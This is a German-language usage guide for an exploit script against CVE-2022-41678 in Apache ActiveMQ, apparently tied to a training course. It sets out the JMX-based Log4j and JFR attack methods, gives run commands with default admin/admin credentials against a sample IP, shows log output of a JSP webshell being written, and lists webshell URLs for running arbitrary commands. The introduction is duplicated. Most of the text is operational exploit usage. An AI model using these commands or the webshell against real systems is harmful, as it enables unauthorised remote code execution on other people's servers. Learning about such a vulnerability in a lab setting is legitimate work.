
CVE-2022-41678 ist eine Remote-Code-Ausführung-Sicherheitslücke in Apache ActiveMQ. Die Sicherheitslücke ermöglicht es einem Angreifer, über die JMX-Schnittstelle (Java Management Extensions) die Log4j-Konfiguration oder die JFR-Konfiguration (Java Flight Recorder) zu ändern, um so eine bösartige JSP-Webshell in das Webverzeichnis des Servers zu schreiben und letztendlich eine Remote-Code-Ausführung zu erreichen.
Referenzdokument: https://app.nextcyber.cn/courses/41/tasks/580
CVE-2022-41678 ist eine Schwachstelle zur Remote-Codeausführung in Apache ActiveMQ. Diese Schwachstelle ermöglicht es Angreifern, über die JMX-Schnittstelle (Java Management Extensions) die Log4j-Konfiguration oder die JFR-Konfiguration (Java Flight Recorder) zu ändern, um eine bösartige JSP-Webshell in das Webverzeichnis des Servers zu schreiben und letztendlich eine Remote-Codeausführung zu erreichen.
Diese Schwachstelle betrifft mehrere Versionen von Apache ActiveMQ; die genauen betroffenen Versionen hängen von der Nutzung der Log4j- und JFR-Konfiguration ab.
pip install requests
Verwendung der Standard-Anmeldedaten admin/admin und automatisch erkannter Exploit-Methode:
python exp.py http://target:8161
Sie können auch mit den Parametern -u und -p Benutzername und Passwort angeben:
# Log4j verwenden
python exp.py -u admin -p admin http://10.22.174.214:8161
# Ausgabe (Beispiel)
python exp.py -u admin -p admin http://10.22.174.214:8161
2025-10-14 22:53:54,115 - INFO - choice MBean 'org.apache.logging.log4j2:type=5faeada1' automatically
2025-10-14 22:53:54,334 - INFO - update log config
2025-10-14 22:53:54,467 - INFO - write webshell to http://10.22.174.214:8161/admin/shell.jsp?cmd=id
2025-10-14 22:53:54,655 - INFO - restore log config
Zusätzlich zur standardmäßigen Log4j-Methode kann die JFR-Methode mit dem Parameter --exploit jfr verwendet werden.
# JFR-Methode verwenden
python exp.py -u admin -p admin --exploit jfr http://10.22.174.214:8161
# Ausgabe (Beispiel)
python exp.py -u admin -p admin --exploit jfr http://10.22.174.214:8161/
2025-10-14 23:16:35,978 - INFO - choice MBean jdk.management.jfr:type=FlightRecorder manually
2025-10-14 23:16:37,390 - INFO - create flight record, id = 1
2025-10-14 23:16:37,533 - INFO - update configuration for record 1
2025-10-14 23:16:38,167 - INFO - start record
2025-10-14 23:16:39,243 - INFO - stop record
2025-10-14 23:16:39,309 - INFO - write webshell to http://10.22.174.214:8161/admin/shelljfr.jsp?cmd=id
Nach erfolgreichem Exploit können Sie Befehle über die folgenden URLs ausführen:
# Webshell (geschrieben mit Log4j-Methode)
http://target:8161/admin/shell.jsp?cmd=Befehl
# Webshell (geschrieben mit JFR-Methode)
http://target:8161/admin/shelljfr.jsp?cmd=Befehl
Zum Beispiel, um den Befehl id auszuführen:
http://target:8161/admin/shell.jsp?cmd=id
| Parameter | Kurzform | Typ | Standardwert | Beschreibung |
|---|---|---|---|---|
--username | -u | String | admin | Benutzername der ActiveMQ-Konsole |
--password | -p | String | admin | Passwort der ActiveMQ-Konsole |
--exploit | -e | String | auto | Exploit-Methode, mögliche Werte: auto, log4j, jfr |
url | - | String | - | Ziel-URL des ActiveMQ (erforderlicher Parameter) |